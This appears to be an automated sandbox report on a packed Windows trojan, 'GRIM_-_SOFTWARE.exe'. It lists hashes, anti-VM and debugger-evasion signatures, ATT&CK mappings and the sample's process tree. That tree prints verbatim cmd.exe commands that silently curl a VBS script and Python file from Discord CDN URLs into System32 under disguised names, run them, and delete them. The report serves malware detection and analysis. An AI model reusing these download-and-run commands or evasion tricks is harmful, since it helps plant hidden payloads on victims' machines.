01324ea7cc70df8163a950920606ec33375dd911b5297bf6d204939d19a1ffcb

General

Target

GRIM_-_SOFTWARE.exe
Size

3.8MB
MD5

6d7e1336a7185a2049c09429cc980b75
SHA1

fd2de69db4416363fb6e34b42e0510256e0e28aa
SHA256

01324ea7cc70df8163a950920606ec33375dd911b5297bf6d204939d19a1ffcb
SHA512

88cf6bfc2deb543e0644100c7a3d547bd18a1e05715a4554d7c45a21a608bbf8821e0427630de9298197477dd5df2317c2c5c2aa01c1cbfe3a7b5531f91547e0
SSDEEP

98304:s/dtvQLaLimy/whXcohnwA3wPiee6R8dqFedrh1NqYQ8wUkdqz54v8mY:gdt8my/ysoBDAPiURzenxuc4k1

Score

9^/10

evasion themida trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

GRIM_-_SOFTWARE.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ GRIM_-_SOFTWARE.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	GRIM_-_SOFTWARE.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

GRIM_-_SOFTWARE.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	GRIM_-_SOFTWARE.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	GRIM_-_SOFTWARE.exe

Themida packer 9 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral1/memory/2012-54-0x000000013F020000-0x000000013FA17000-memory.dmp	themida
behavioral1/memory/2012-55-0x000000013F020000-0x000000013FA17000-memory.dmp	themida
behavioral1/memory/2012-56-0x000000013F020000-0x000000013FA17000-memory.dmp	themida
behavioral1/memory/2012-57-0x000000013F020000-0x000000013FA17000-memory.dmp	themida
behavioral1/memory/2012-58-0x000000013F020000-0x000000013FA17000-memory.dmp	themida
behavioral1/memory/2012-89-0x000000013F020000-0x000000013FA17000-memory.dmp	themida
behavioral1/memory/2012-90-0x000000013F020000-0x000000013FA17000-memory.dmp	themida
behavioral1/memory/2012-94-0x000000013F020000-0x000000013FA17000-memory.dmp	themida
behavioral1/memory/2012-97-0x000000013F020000-0x000000013FA17000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

GRIM_-_SOFTWARE.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA GRIM_-_SOFTWARE.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

GRIM_-_SOFTWARE.exe

pid process

2012 GRIM_-_SOFTWARE.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	GRIM_-_SOFTWARE.exe

pid	process
2012	GRIM_-_SOFTWARE.exe

Suspicious use of WriteProcessMemory 51 IoCs

Processes:

GRIM_-_SOFTWARE.execmd.exe

description	pid	process	target process
PID 2012 wrote to memory of 1972	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1972	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1972	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1792	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1792	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1792	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1708	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1708	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1708	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 628	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 628	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 628	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1780	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1780	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1780	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1648	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1648	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1648	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 772	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 772	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 772	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 772 wrote to memory of 1372	772	cmd.exe	certutil.exe
PID 772 wrote to memory of 1372	772	cmd.exe	certutil.exe
PID 772 wrote to memory of 1372	772	cmd.exe	certutil.exe
PID 772 wrote to memory of 876	772	cmd.exe	find.exe
PID 772 wrote to memory of 876	772	cmd.exe	find.exe
PID 772 wrote to memory of 876	772	cmd.exe	find.exe
PID 772 wrote to memory of 1536	772	cmd.exe	find.exe
PID 772 wrote to memory of 1536	772	cmd.exe	find.exe
PID 772 wrote to memory of 1536	772	cmd.exe	find.exe
PID 2012 wrote to memory of 1368	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1368	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1368	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1432	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1432	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1432	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1860	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1860	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1860	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1896	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1896	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1896	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1400	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1400	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1400	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1944	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1944	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1944	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1952	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1952	2012	GRIM_-_SOFTWARE.exe	cmd.exe
PID 2012 wrote to memory of 1952	2012	GRIM_-_SOFTWARE.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\GRIM_-_SOFTWARE.exe
"C:\Users\Admin\AppData\Local\Temp\GRIM_-_SOFTWARE.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:2012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c curl --silent https://cdn.discordapp.com/attachments/879759160613433367/1083836125409447966/me.vbs --output C:/Windows/System32/prnmngrs.vbs
2⤵
PID:1972

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c curl --silent https://cdn.discordapp.com/attachments/882707027791605791/1089311596381220945/Fortnite_hack_toolv2.py --output C:/Windows/System32/IME/SHARED/IMESEARCHING.py >nul 2>&1
2⤵
PID:1792

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c start C:/Windows/System32/prnmngrs.vbs C:/Windows/System32/IME/SHARED/IMESEARCHING.py
2⤵
PID:1708

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c cls
2⤵
PID:628

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c cls
2⤵
PID:1780

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c cls
2⤵
PID:1648

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\GRIM_-_SOFTWARE.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
2⤵
- Suspicious use of WriteProcessMemory
PID:772

C:\Windows\system32\certutil.exe
certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\GRIM_-_SOFTWARE.exe" MD5
3⤵
PID:1372

C:\Windows\system32\find.exe
find /i /v "md5"
3⤵
PID:876

C:\Windows\system32\find.exe
find /i /v "certutil"
3⤵
PID:1536

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c curl --silent https://cdn.discordapp.com/attachments/879759160613433367/1079159361764602037/Welcome.mp3 --output C:/Windows/System32/Windows_FIEO.mp3 >nul 2>&1
2⤵
PID:1368

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c del C:\Windows\System32\Windows_FIEO.mp3
2⤵
PID:1432

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c cls
2⤵
PID:1860

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c del C:/Windows/System32/prnmngrs.vbs
2⤵
PID:1896

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c cls
2⤵
PID:1400

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c del C:/Windows/System32/IME/SHARED/IMESEARCHING.py
2⤵
PID:1944

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c cls
2⤵
PID:1952

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

1

T1497

Credential Access

Discovery

Query Registry

2

T1012

Virtualization/Sandbox Evasion

1

T1497

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1708-88-0x0000000001F50000-0x0000000001F51000-memory.dmp

Filesize
4KB

Download
memory/2012-54-0x000000013F020000-0x000000013FA17000-memory.dmp

Filesize
10.0MB

Download
memory/2012-55-0x000000013F020000-0x000000013FA17000-memory.dmp

Filesize
10.0MB

Download
memory/2012-56-0x000000013F020000-0x000000013FA17000-memory.dmp

Filesize
10.0MB

Download
memory/2012-57-0x000000013F020000-0x000000013FA17000-memory.dmp

Filesize
10.0MB

Download
memory/2012-58-0x000000013F020000-0x000000013FA17000-memory.dmp

Filesize
10.0MB

Download
memory/2012-89-0x000000013F020000-0x000000013FA17000-memory.dmp

Filesize
10.0MB

Download
memory/2012-90-0x000000013F020000-0x000000013FA17000-memory.dmp

Filesize
10.0MB

Download
memory/2012-94-0x000000013F020000-0x000000013FA17000-memory.dmp

Filesize
10.0MB

Download
memory/2012-97-0x000000013F020000-0x000000013FA17000-memory.dmp

Filesize
10.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads